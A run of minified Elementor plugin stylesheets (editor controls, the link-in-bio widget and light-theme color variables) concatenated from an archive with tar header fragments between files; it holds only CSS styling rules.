(max-width:1024px){#elementor-icons-manager__tab__content{grid-template-columns:repeat(5,1fr)}}@media (max-width:767px){#elementor-icons-manager__tab__content{grid-template-columns:repeat(4,1fr)}}@media (max-width:479px){#elementor-icons-manager__tab__content{grid-template-columns:repeat(3,1fr)}}#elementor-icons-manager__promotion{display:flex;align-items:center;flex-direction:column;padding-block-start:70px}#elementor-icons-manager__promotion__icon{font-size:60px}#elementor-icons-manager__promotion__text{width:300px;font-size:16px;padding-block-start:25px}#elementor-icons-manager__promotion__link{margin-block-start:20px}.elementor-icons-manager__tab-link{padding-block:15px;padding-inline:45px 0;font-size:12px;text-align:start;cursor:pointer;position:relative}.elementor-icons-manager__tab-link i{font-size:20px;padding-inline-end:15px}@media (max-width:1024px){.elementor-icons-manager__tab-link i{display:none}}.elementor-icons-manager__tab-link:hover{background-color:var(--e-a-bg-hover)}.elementor-icons-manager__tab-link.elementor-active{background-color:var(--e-a-bg-active);color:var(--e-a-color-txt-accent)}.elementor-icons-manager__tab-link.elementor-active:after{content:"";position:absolute;height:100%;width:3px;top:0;left:0;background-color:var(--e-a-border-color-accent)}.elementor-icons-manager__tab__item{position:relative;height:0;padding-block-end:100%;border:var(--e-a-border);border-radius:3px;cursor:pointer;transition:var(--e-a-transition-hover);overflow:hidden}.elementor-icons-manager__tab__item:hover{background-color:var(--e-a-bg-hover)}.elementor-icons-manager__tab__item.elementor-selected{background-color:var(--e-a-bg-active);border-color:var(--e-a-border-color-accent);color:var(--e-a-color-txt-accent)}.elementor-icons-manager__tab__item__content{display:flex;flex-direction:column;align-items:center;width:100%;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);padding:1px}.elementor-icons-manager__tab__item__icon{font-size:25px}.elementor-icons-manager__tab__item__name{font-size:11px;padding:13px 20px 0;max-width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-color-picker__header{display:flex;justify-content:space-between;align-items:center;font-weight:700;padding:10px;box-shadow:0 2px 8px rgba(0,0,0,.1)}.e-color-picker__tools{display:flex}.e-control-color--no-value .pcr-button{background-image:linear-gradient(135deg,transparent 46%,#ff3030 50%,transparent 54%);background-size:cover;background-color:transparent}.pickr{border:var(--e-a-border);height:27px}.pickr .pcr-button{height:100%;width:100%;border-radius:var(--e-a-border-radius)}.pickr .pcr-button:after,.pickr .pcr-button:before{height:12px;width:12px;top:50%;left:50%;transform:translate(-50%,-50%)}.pcr-app{background-color:var(--e-a-bg-default);color:var(--e-a-color-txt);box-shadow:var(--e-a-popover-shadow);font-family:var(--e-a-font-family)}.pcr-app[data-theme=monolith]{padding:0;width:270px}.pcr-app[data-theme=monolith] .pcr-selection .pcr-color-chooser,.pcr-app[data-theme=monolith] .pcr-selection .pcr-color-opacity{height:8px}.pcr-app[data-theme=monolith] .pcr-selection .pcr-color-palette{height:150px}.pcr-app .pcr-selection .pcr-picker{box-shadow:0 0 5px 1px rgba(0,0,0,.2)}.pcr-app .pcr-interaction{padding-block-end:20px}.pcr-app .pcr-interaction input.pcr-result{border:var(--e-a-border);color:var(--e-a-color-txt);border-radius:var(--e-a-border-radius);margin:0;background-color:transparent}.pcr-app .pcr-interaction input.pcr-result:focus{box-shadow:none;border-color:var(--e-a-border-color-bold)}.pcr-app .pcr-interaction input.pcr-type{all:unset;font-size:10px;color:var(--e-a-color-txt-muted);padding-inline-start:5px;cursor:pointer}.pcr-app .pcr-interaction input.pcr-type.active{background-color:transparent;color:var(--e-a-color-txt-accent)}.pcr-interaction,.pcr-selection{padding:0 20px}.pcr-selection{padding-block-start:20px}.pcr .elementor-control-dynamic-switcher{height:20px;border:0}.select2-container{width:100%!important;outline:none;z-index:9999;font-size:12px}.select2-container .e-select2-placeholder{color:var(--e-a-color-txt-muted)}.select2-container.select2-container--default .select2-selection--single{height:27px;background-color:transparent}.select2-container.select2-container--default .select2-selection--single .select2-selection__rendered{color:var(--e-a-color-txt);line-height:27px}.select2-container.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.select2-container.select2-container--default .select2-selection--multiple{background-color:var(--e-a-bg-default);min-height:27px;line-height:0}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__clear{display:none}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);line-height:1.2;font-size:10px;border:none;border-radius:0;padding:2px 3px}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice.select2-selection__e-plus-button{cursor:pointer;width:16.67px;text-indent:-9999px;position:relative}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice.select2-selection__e-plus-button:after{content:"\e815";font-family:eicons;color:var(--e-a-btn-color-invert);text-indent:0;position:absolute;left:0;top:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__rendered{padding-block-end:5px}.select2-container.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:var(--e-a-btn-color-invert);margin-inline-end:3px}.select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--multiple,.select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--single{background-color:var(--e-a-bg-default);color:var(--e-a-color-txt);border-color:var(--e-a-border-color)}.select2-container.select2-container--focus .select2-selection--multiple,.select2-container.select2-container--focus .select2-selection--single,.select2-container.select2-container--open .select2-selection--multiple,.select2-container.select2-container--open .select2-selection--single{border-color:var(--e-a-border-color-bold)}.select2-selection{outline:none}.select2-selection--single{height:27px}.select2-selection__arrow{height:27px;top:0}.select2-results__option[aria-selected=true]{background-color:var(--e-a-bg-active);color:var(--e-a-color-txt-active)}.select2-results__option[aria-selected=true]:not(.select2-results__option--highlighted){background-color:var(--e-a-bg-active)}.select2-dropdown{border-color:var(--e-a-border-color);background-color:var(--e-a-bg-default);color:var(--e-a-color-txt);box-shadow:var(--e-a-dropdown-shadow)}.select2-dropdown .select2-search__field{outline:none}.e-ui-state--document-scrubbing-mode__on,.e-ui-state--document-scrubbing-mode__on *{cursor:ew-resize}.e-ui-state--document-scrubbing-mode__on input.e-scrubbing--active,.e-ui-state--document-scrubbing-mode__on input.e-scrubbing--active:focus{box-shadow:inset 0 0 0 1px #0e3b9c}.e-ui-state--document-scrubbing-mode__on label.e-scrubbing--active{color:#0e3b9c;-webkit-user-select:none;-moz-user-select:none;user-select:none}.e-ui-state--document-scrubbing-mode__on iframe{pointer-events:none}label.e-scrubbing-over{cursor:ew-resize}#elementor-paste-area-dialog{text-align:center}#elementor-paste-area-dialog .dialog-header{padding-block-start:60px;font-size:30px}#elementor-paste-area-dialog .dialog-message{padding:0 15px 15px;font-size:15px;position:relative}#elementor-paste-area-dialog #elementor-paste-area-dialog__input{background:transparent;color:transparent;border-color:transparent;padding:0;margin:0;height:100px;position:absolute;top:-60px;left:0;right:0}#elementor-paste-area-dialog #elementor-paste-area-dialog__input:focus{border-color:transparent;outline:none}#elementor-paste-area-dialog .dialog-widget-content{width:400px}#elementor-paste-area-dialog .dialog-widget-content .eicon-loading{display:none}#elementor-paste-area-dialog .dialog-widget-content.e-state-loading .eicon-loading{display:block;margin-block-start:15px}#elementor-paste-area-dialog #elementor-paste-area-dialog__error{color:var(--e-a-color-danger);font-size:12px}#elementor-paste-area-dialog #elementor-paste-area-dialog__error:before{content:"";border-block-start:var(--e-a-border);display:block;margin:10px -15px}[class*=" eicon-flex"],[class^=eicon-flex]{transition:all .3s;--is-ltr:1;--is-rtl:0;--rotation-direction:calc(var(--is-ltr) - var(--is-rtl))}[class*=" eicon-flex"].eicon-inline,[class^=eicon-flex].eicon-inline{max-height:1em;max-width:1em}[class*=" eicon-flex"]:is(.eicon-justify-start-h,.eicon-justify-end-h),[class^=eicon-flex]:is(.eicon-justify-start-h,.eicon-justify-end-h){--rotation-direction:calc(var(--is-ltr) + var(--is-rtl))}:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow),:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow){transform:rotate(calc(var(--rotation-direction) * 90deg))}.e-ui-state--document-direction-mode__column-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),.e-ui-state--document-direction-mode__column-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v,.eicon-align-end-v),:is(.e-ui-state--document-direction-mode__column,.e-ui-state--document-direction-mode__column-reverse) [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-align-start-v,.eicon-align-end-v){transform:rotate(calc(var(--rotation-direction) * -90deg))}.e-ui-state--document-direction-mode__row [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),.e-ui-state--document-direction-mode__row [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end){transform:rotate(calc(var(--is-rtl) * 180deg))}.e-ui-state--document-direction-mode__row-reverse [class*=" eicon-flex"]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end),.e-ui-state--document-direction-mode__row-reverse [class^=eicon-flex]:not(.eicon-wrap):not(.eicon-nowrap):not(.eicon-grow):is(.eicon-justify-start-h,.eicon-justify-end-h,.eicon-order-start,.eicon-order-end){transform:rotate(calc(var(--is-ltr) * 180deg))}assets/css/widget-link-in-bio-rtl.min.css000064400000042767147206604650014354 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .e-link-in-bio{--e-link-in-bio-border-color:transparent;--e-link-in-bio-border-style:none;--e-link-in-bio-border-width:0;--e-link-in-bio-container-height:auto;--e-link-in-bio-container-width:360px;--e-link-in-bio-content-align-h:center;--e-link-in-bio-content-align-v:center;--e-link-in-bio-content-width:280px;--e-link-in-bio-full-height:100vh;--e-link-in-bio-gutter-block-end:45px;--e-link-in-bio-gutter-block-start:38px;--e-link-in-bio-gutter-inline:40px;--e-link-in-bio-identity-image-cover-border-bottom-width:0;--e-link-in-bio-identity-image-cover-border-color:transparent;--e-link-in-bio-identity-image-cover-border-style:none;--e-link-in-bio-identity-image-cover-height:170px;--e-link-in-bio-identity-image-cover-position:center center;--e-link-in-bio-identity-image-profile-border-color:transparent;--e-link-in-bio-identity-image-profile-position:center center;--e-link-in-bio-identity-image-profile-border-radius:50%;--e-link-in-bio-identity-image-profile-border-style:none;--e-link-in-bio-identity-image-profile-border-width:0;--e-link-in-bio-identity-image-profile-width:115px;--e-link-in-bio-heading-color:inherit;--e-link-in-bio-title-color:inherit;--e-link-in-bio-about-heading-color:inherit;--e-link-in-bio-description-color:#324a6d;--e-link-in-bio-icon-background-color:transparent;--e-link-in-bio-icon-border-color:transparent;--e-link-in-bio-icon-border-style:none;--e-link-in-bio-icon-border-width:0;--e-link-in-bio-icon-color:inherit;--e-link-in-bio-icon-columns:3;--e-link-in-bio-icon-gap:20px 29px;--e-link-in-bio-icon-size:25px;--e-link-in-bio-ctas-background-color:#467ff7;--e-link-in-bio-ctas-border-color:transparent;--e-link-in-bio-ctas-border-radius:20px;--e-link-in-bio-ctas-border-style:none;--e-link-in-bio-ctas-border-width:0;--e-link-in-bio-ctas-gap:22px;--e-link-in-bio-ctas-padding-block-end:17px;--e-link-in-bio-ctas-padding-block-start:17px;--e-link-in-bio-ctas-padding-inline-end:20px;--e-link-in-bio-ctas-padding-inline-start:20px;--e-link-in-bio-ctas-text-color:#fff;--e-link-in-bio-image-links-border-color:transparent;--e-link-in-bio-image-links-border-style:solid;--e-link-in-bio-image-links-border-width:0;--e-link-in-bio-image-links-columns:2;--e-link-in-bio-image-links-gap:10px;--e-link-in-bio-image-links-height:auto;--background-overlay-opacity:0.5;align-items:var(--e-link-in-bio-content-align-h);border:var(--e-link-in-bio-border-width) var(--e-link-in-bio-border-style) var(--e-link-in-bio-border-color);display:flex;flex-direction:column;justify-content:var(--e-link-in-bio-content-align-v);margin-inline:auto;max-width:100%;min-height:var(--e-link-in-bio-container-height);padding:var(--e-link-in-bio-gutter-block-start) var(--e-link-in-bio-gutter-inline) var(--e-link-in-bio-gutter-block-end);position:relative;width:var(--e-link-in-bio-container-width)}@supports (height:100dvh){.e-link-in-bio{--e-link-in-bio-full-height:100dvh}}.e-link-in-bio.has-border{--e-link-in-bio-border-style:solid}@media (max-width:767px){.e-link-in-bio.is-full-height-mobile{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:-1) and (max-width:-1){.e-link-in-bio.is-full-height-mobile_extra{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:768px) and (max-width:1024px){.e-link-in-bio.is-full-height-tablet{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:-1) and (max-width:-1){.e-link-in-bio.is-full-height-laptop,.e-link-in-bio.is-full-height-tablet_extra{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:1025px){.e-link-in-bio.is-full-height-desktop{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:1025px) and (max-width:99999px){.e-link-in-bio.is-full-height-desktop.is-full-height-widescreen{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}@media (min-width:-1){.e-link-in-bio.is-full-height-widescreen{--e-link-in-bio-container-height:var(--e-link-in-bio-full-height,100vh)}}.e-link-in-bio.is-full-width{--e-link-in-bio-container-width:100%}.e-link-in-bio__bg{display:grid;inset:0;position:absolute;z-index:0}.e-link-in-bio__bg,.e-link-in-bio__bg-overlay{background-position:50%;background-repeat:no-repeat;background-size:cover}.e-link-in-bio__bg-overlay{opacity:var(--background-overlay-opacity)}.e-link-in-bio__content{color:#1c2448;display:flex;flex-direction:column;font-family:var(--e-global-typography-text-font-family,"Poppins"),Sans-serif;max-width:100%;text-align:center;width:var(--e-link-in-bio-content-width);z-index:1}.e-link-in-bio__content *{word-wrap:break-word}.e-link-in-bio__identity{display:grid;grid-template-columns:1fr;grid-template-rows:auto;margin-block-end:14px;margin-block-start:calc(var(--e-link-in-bio-gutter-block-start) * -1)}.e-link-in-bio__identity .e-link-in-bio__identity-image{display:flex;position:relative}.e-link-in-bio__identity .e-link-in-bio__identity-image-element{display:block;flex:1 1 100%;-o-object-fit:cover;object-fit:cover}.e-link-in-bio__identity .e-link-in-bio__identity-image-cover{align-self:start;border:0 var(--e-link-in-bio-identity-image-cover-border-style) var(--e-link-in-bio-identity-image-cover-border-color);border-bottom:var(--e-link-in-bio-identity-image-cover-border-bottom-width) var(--e-link-in-bio-identity-image-cover-border-style) var(--e-link-in-bio-identity-image-cover-border-color);grid-column:1;grid-row:1;margin-inline:calc(var(--e-link-in-bio-gutter-inline) * -1);max-height:var(--e-link-in-bio-identity-image-cover-height);overflow:hidden;width:calc(100% + var(--e-link-in-bio-gutter-inline) * 2)}.e-link-in-bio__identity .e-link-in-bio__identity-image-cover.has-border{--e-link-in-bio-identity-image-cover-border-style:solid}.e-link-in-bio__identity .e-link-in-bio__identity-image-cover .e-link-in-bio__identity-image-element{-o-object-position:var(--e-link-in-bio-identity-image-cover-position);object-position:var(--e-link-in-bio-identity-image-cover-position)}.e-link-in-bio__identity .e-link-in-bio__identity-image-profile{align-self:center;aspect-ratio:1;border-radius:var(--e-link-in-bio-identity-image-profile-border-radius);border:var(--e-link-in-bio-identity-image-profile-border-width) var(--e-link-in-bio-identity-image-profile-border-style) var(--e-link-in-bio-identity-image-profile-border-color);grid-column:1;grid-row:1;overflow:hidden;margin-block-start:var(--e-link-in-bio-gutter-block-start);margin-block-end:17px;margin-inline:auto;max-width:100%;width:var(--e-link-in-bio-identity-image-profile-width)}.e-link-in-bio__identity .e-link-in-bio__identity-image-profile.has-border{--e-link-in-bio-identity-image-profile-border-style:solid}.e-link-in-bio__identity .e-link-in-bio__identity-image-profile.has-style-square{--e-link-in-bio-identity-image-profile-border-radius:0}.e-link-in-bio__identity .e-link-in-bio__identity-image-profile .e-link-in-bio__identity-image-element{aspect-ratio:inherit;-o-object-position:var(--e-link-in-bio-identity-image-profile-position);object-position:var(--e-link-in-bio-identity-image-profile-position)}.e-link-in-bio__identity .e-link-in-bio__identity-image-cover+.e-link-in-bio__identity-image-profile{margin-block-start:17px}.e-link-in-bio__bio>*{margin-block:0}.e-link-in-bio__heading{color:var(--e-link-in-bio-heading-color);font-size:36px;font-weight:600;line-height:42px}.e-link-in-bio__about-heading{color:var(--e-link-in-bio-about-heading-color);font-size:16px;font-weight:500;line-height:20px}.e-link-in-bio__title{color:var(--e-link-in-bio-title-color);font-size:20px;font-weight:500;line-height:35px}.e-link-in-bio__description{color:var(--e-link-in-bio-description-color);font-size:16px;font-weight:300;line-height:24px;margin-block-start:20px}.e-link-in-bio__bio--footer{margin-block-start:34px}.e-link-in-bio__bio--footer .e-link-in-bio__description{font-size:12px;font-weight:500;line-height:20px;margin-block-start:0}.e-link-in-bio__bio--footer .e-link-in-bio__about-heading+.e-link-in-bio__description{margin-block-start:3px}.e-link-in-bio__icons{display:flex;flex-flow:row wrap;gap:var(--e-link-in-bio-icon-gap);justify-content:center;margin-block-start:20px}.e-link-in-bio__icons i{font-size:var(--e-link-in-bio-icon-size)}.e-link-in-bio__icons.has-size-medium{--e-link-in-bio-icon-size:30px}.e-link-in-bio__icons.has-size-large{--e-link-in-bio-icon-gap:20px 24px;--e-link-in-bio-icon-size:35px}.e-link-in-bio__icon{display:flex}.e-link-in-bio__icon .e-link-in-bio__icon-link{align-items:center;color:inherit;display:flex;flex:1 1 auto;flex-direction:column}.e-link-in-bio__icon .e-link-in-bio__icon-link:active,.e-link-in-bio__icon .e-link-in-bio__icon-link:focus,.e-link-in-bio__icon .e-link-in-bio__icon-link:hover{color:inherit}.e-link-in-bio__icon .e-link-in-bio__icon-svg{align-items:center;color:var(--e-link-in-bio-icon-color);display:flex;justify-content:center}.e-link-in-bio__icon svg{fill:currentColor;height:var(--e-link-in-bio-icon-size)}.e-link-in-bio__icon i{font-size:var(--e-link-in-bio-icon-size)}.e-link-in-bio__icon .e-link-in-bio__icon-label{font-size:14px;font-weight:500;line-height:20px;text-align:center}.e-link-in-bio__image-links{display:grid;grid-template-columns:repeat(var(--e-link-in-bio-image-links-columns,2),minmax(0,1fr));grid-template-rows:auto;gap:var(--e-link-in-bio-image-links-gap);margin-block-start:24px}.e-link-in-bio__image-links.has-1-columns{--e-link-in-bio-image-links-columns:1;--e-link-in-bio-image-links-gap:14px}.e-link-in-bio__image-links.has-3-columns{--e-link-in-bio-image-links-columns:3;--e-link-in-bio-image-links-gap:5px}.e-link-in-bio__image-links .e-link-in-bio__image-links-link{display:grid}.e-link-in-bio__image-links img.e-link-in-bio__image-links-img{aspect-ratio:1;border:var(--e-link-in-bio-image-links-border-width) var(--e-link-in-bio-image-links-border-style) var(--e-link-in-bio-image-links-border-color);display:block;height:var(--e-link-in-bio-image-links-height,auto);-o-object-fit:cover;object-fit:cover;width:100%}.e-link-in-bio__ctas{display:grid;grid-template-columns:minmax(0,1fr);grid-template-rows:auto;gap:var(--e-link-in-bio-ctas-gap);margin-block-start:31px}.e-link-in-bio__ctas.has-type-link{--e-link-in-bio-ctas-gap:10px;justify-items:center}.e-link-in-bio__ctas.has-type-divider{--e-link-in-bio-ctas-gap:0}.e-link-in-bio__ctas .e-link-in-bio__cta{display:flex;font-size:16px;font-weight:500;line-height:20px}.e-link-in-bio__ctas .e-link-in-bio__cta,.e-link-in-bio__ctas .e-link-in-bio__cta:active,.e-link-in-bio__ctas .e-link-in-bio__cta:focus,.e-link-in-bio__ctas .e-link-in-bio__cta:hover{color:var(--e-link-in-bio-ctas-text-color)}.e-link-in-bio__ctas .e-link-in-bio__cta-image{flex:0 0 min(50%,140px)}.e-link-in-bio__ctas .e-link-in-bio__cta-image-element{aspect-ratio:140/100;display:block;height:100%;-o-object-fit:cover;object-fit:cover;width:100%}.e-link-in-bio__ctas .e-link-in-bio__cta-text{align-items:center;display:flex;flex:1 1 auto;justify-content:center}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button{border-radius:var(--e-link-in-bio-ctas-border-radius);overflow:hidden}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button.has-border{--e-link-in-bio-ctas-border-style:solid;border:var(--e-link-in-bio-ctas-border-width) var(--e-link-in-bio-ctas-border-style) var(--e-link-in-bio-ctas-border-color)}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button.has-corners-rounded{--e-link-in-bio-ctas-border-radius:20px}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button.has-corners-round{--e-link-in-bio-ctas-border-radius:50px}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button.has-corners-sharp{--e-link-in-bio-ctas-border-radius:0}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button .e-link-in-bio__cta-text{background-color:var(--e-link-in-bio-ctas-background-color);padding-block-end:var(--e-link-in-bio-ctas-padding-block-end);padding-block-start:var(--e-link-in-bio-ctas-padding-block-start);padding-inline-end:var(--e-link-in-bio-ctas-padding-inline-end);padding-inline-start:var(--e-link-in-bio-ctas-padding-inline-start)}.e-link-in-bio__ctas .e-link-in-bio__cta.is-type-link{--e-link-in-bio-ctas-text-color:#467ff7;font-weight:700;margin-block:17px;justify-content:center}.e-link-in-bio .e-link-in-bio__content .e-link-in-bio__ctas .e-link-in-bio__cta.is-type-link{text-decoration:underline}.e-link-in-bio-var-2{--e-link-in-bio-gutter-block-end:35px;--e-link-in-bio-identity-image-cover-height:215px;--e-link-in-bio-identity-image-profile-width:130px;--e-link-in-bio-identity-image-profile-border-color:#fff;--e-link-in-bio-identity-image-profile-border-style:solid;--e-link-in-bio-identity-image-profile-border-width:3px}.e-link-in-bio-var-2 .e-link-in-bio__identity{grid-template-rows:1fr auto auto}.e-link-in-bio-var-2 .e-link-in-bio__identity .e-link-in-bio__identity-image-cover{grid-row:1/span 2}.e-link-in-bio-var-2 .e-link-in-bio__identity .e-link-in-bio__identity-image-profile{grid-row:2/span 2}.e-link-in-bio-var-2 .e-link-in-bio__identity .e-link-in-bio__identity-image-cover+.e-link-in-bio__identity-image-profile{margin-block:17px}.e-link-in-bio-var-2 .e-link-in-bio__icons{margin-block-start:35px}.e-link-in-bio-var-3{--e-link-in-bio-gutter-block-end:20px;--e-link-in-bio-ctas-border-radius:0;--e-link-in-bio-ctas-gap:8px}.e-link-in-bio-var-3 .e-link-in-bio__ctas .e-link-in-bio__cta.has-border{border:none}.e-link-in-bio-var-3 .e-link-in-bio__ctas .e-link-in-bio__cta.has-border .e-link-in-bio__cta-image{--e-link-in-bio-ctas-border-style:solid;border:var(--e-link-in-bio-ctas-border-width) var(--e-link-in-bio-ctas-border-style) var(--e-link-in-bio-ctas-border-color)}.e-link-in-bio-var-3 .e-link-in-bio__ctas .e-link-in-bio__cta.has-corners-round,.e-link-in-bio-var-3 .e-link-in-bio__ctas .e-link-in-bio__cta.has-corners-rounded{--e-link-in-bio-ctas-border-radius:0}.e-link-in-bio-var-4{--e-link-in-bio-ctas-text-color:#1c2448;--e-link-in-bio-ctas-background-color:transparent;--e-link-in-bio-ctas-divider-color:#1c2448;--e-link-in-bio-ctas-divider-width:1px;--e-link-in-bio-ctas-divider-style:solid;--e-link-in-bio-ctas-padding-inline-end:16px;--e-link-in-bio-ctas-padding-inline-start:16px}.e-link-in-bio-var-4 .e-link-in-bio__ctas{grid-gap:0;margin-block-end:28px;margin-block-start:28px}.e-link-in-bio-var-4 .e-link-in-bio__ctas .e-link-in-bio__cta{border-bottom:var(--e-link-in-bio-ctas-divider-width) var(--e-link-in-bio-ctas-divider-style) var(--e-link-in-bio-ctas-divider-color);font-size:24px;font-weight:600;line-height:42px}.e-link-in-bio-var-4 .e-link-in-bio__ctas .e-link-in-bio__cta.has-corners-rounded,.e-link-in-bio-var-5{--e-link-in-bio-ctas-border-radius:0}.e-link-in-bio-var-5{--e-link-in-bio-ctas-gap:20px 15px;--e-link-in-bio-ctas-padding-block-end:5px;--e-link-in-bio-ctas-padding-block-start:5px;--e-link-in-bio-ctas-padding-inline-end:7px;--e-link-in-bio-ctas-padding-inline-start:7px}.e-link-in-bio-var-5 .e-link-in-bio__ctas.has-type-button{grid-template-columns:repeat(2,minmax(0,100px));grid-template-rows:auto;justify-content:center}.e-link-in-bio-var-5 .e-link-in-bio__ctas .e-link-in-bio__cta.has-border{border:none}.e-link-in-bio-var-5 .e-link-in-bio__ctas .e-link-in-bio__cta.has-border .e-link-in-bio__cta-image{--e-link-in-bio-ctas-border-style:solid;border:var(--e-link-in-bio-ctas-border-width) var(--e-link-in-bio-ctas-border-style) var(--e-link-in-bio-ctas-border-color)}.e-link-in-bio-var-5 .e-link-in-bio__ctas .e-link-in-bio__cta.has-corners-round,.e-link-in-bio-var-5 .e-link-in-bio__ctas .e-link-in-bio__cta.has-corners-rounded{--e-link-in-bio-ctas-border-radius:0}.e-link-in-bio-var-5 .e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button{flex-direction:column;font-size:14px}.e-link-in-bio-var-5 .e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button .e-link-in-bio__cta-image{flex:0 0 auto;margin-bottom:4px}.e-link-in-bio-var-5 .e-link-in-bio__ctas .e-link-in-bio__cta.is-type-button .e-link-in-bio__cta-image-element{aspect-ratio:1;height:auto}.e-link-in-bio-var-5 .e-link-in-bio__identity-image-cover .e-link-in-bio__identity-image-element{-o-object-position:var(--e-link-in-bio-identity-image-profile-position);object-position:var(--e-link-in-bio-identity-image-profile-position)}.e-link-in-bio-var-7{--e-link-in-bio-icon-background-color:#467ff7;--e-link-in-bio-icon-color:#fff;--e-link-in-bio-icon-gap-col:10px;--e-link-in-bio-icon-gap-row:20px;--e-link-in-bio-icon-gap:var(--e-link-in-bio-icon-gap-row) 0;--e-link-in-bio-icon-text-color:inherit}.e-link-in-bio-var-7 .e-link-in-bio__identity .e-link-in-bio__identity-image-cover{height:var(--e-link-in-bio-identity-image-cover-height,auto)}.e-link-in-bio-var-7 .e-link-in-bio__icons{align-items:start;gap:var(--e-link-in-bio-icon-gap);margin-block-start:34px;margin-inline:auto;max-width:254px;width:100%}.e-link-in-bio-var-7 .e-link-in-bio__icons.has-size-large{--e-link-in-bio-icon-gap:var(--e-link-in-bio-icon-gap-row) 0}.e-link-in-bio-var-7 .e-link-in-bio__icon{flex:1 1 calc(100% / var(--e-link-in-bio-icon-columns));max-width:calc(100% / var(--e-link-in-bio-icon-columns));padding-inline:calc(var(--e-link-in-bio-icon-gap-col) / 2)}.e-link-in-bio-var-7 .e-link-in-bio__icon-svg{aspect-ratio:1;background-color:var(--e-link-in-bio-icon-background-color);border-radius:100%;height:calc(var(--e-link-in-bio-icon-size) + 30px);padding:15px}.e-link-in-bio-var-7 .e-link-in-bio__icon{--e-link-in-bio-icon-border-style:solid}.e-link-in-bio-var-7 .e-link-in-bio__icon.has-border .e-link-in-bio__icon-svg{border:var(--e-link-in-bio-icon-border-width) var(--e-link-in-bio-icon-border-style) var(--e-link-in-bio-icon-border-color);height:calc(var(--e-link-in-bio-icon-size) + 30px + var(--e-link-in-bio-icon-border-width) * 2)}.e-link-in-bio-var-7 .e-link-in-bio__icon-label{color:var(--e-link-in-bio-icon-text-color)}.e-link-in-bio-var-7 .e-link-in-bio__ctas{margin-block-start:34px}assets/css/theme-light.css000064400000005076147206604650011601 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ :root { --e-a-color-white: #ffffff; --e-a-color-black: #000000; --e-a-color-logo: #ffffff; --e-a-color-primary: #F3BAFD; --e-a-color-primary-bold: #D004D4; --e-a-color-secondary: #515962; --e-a-color-success: #0A875A; --e-a-color-danger: #DC2626; --e-a-color-info: #2563EB; --e-a-color-warning: #F59E0B; --e-a-color-accent: #93003f; --e-a-color-global: #1DDDBF; --e-a-color-accent-promotion: #93003f; --e-a-bg-default: #ffffff; --e-a-bg-invert: #0C0D0E; --e-a-bg-hover: #F1F2F3; --e-a-bg-active: #E6E8EA; --e-a-bg-active-bold: #D5D8DC; --e-a-bg-loading: #F9FAFA; --e-a-bg-logo: #000000; --e-a-bg-primary: #FAE8FF; --e-a-bg-secondary: #515962; --e-a-bg-success: #F2FDF5; --e-a-bg-info: #F0F7FF; --e-a-bg-danger: #FEF1F4; --e-a-bg-warning: #FFFBEB; --e-a-color-txt: #515962; --e-a-color-txt-muted: #818A96; --e-a-color-txt-disabled: #BABFC5; --e-a-color-txt-invert: #ffffff; --e-a-color-txt-accent: #0C0D0E; --e-a-color-txt-hover: #3f444b; --e-a-color-txt-active: #0C0D0E; --e-a-border-color: #E6E8EA; --e-a-border-color-bold: #D5D8DC; --e-a-border-color-focus: #BABFC5; --e-a-border-color-accent: #0C0D0E; --e-a-border: 1px solid var(--e-a-border-color); --e-a-border-bold: 1px solid var(--e-a-border-color-bold); --e-a-border-radius: 3px; 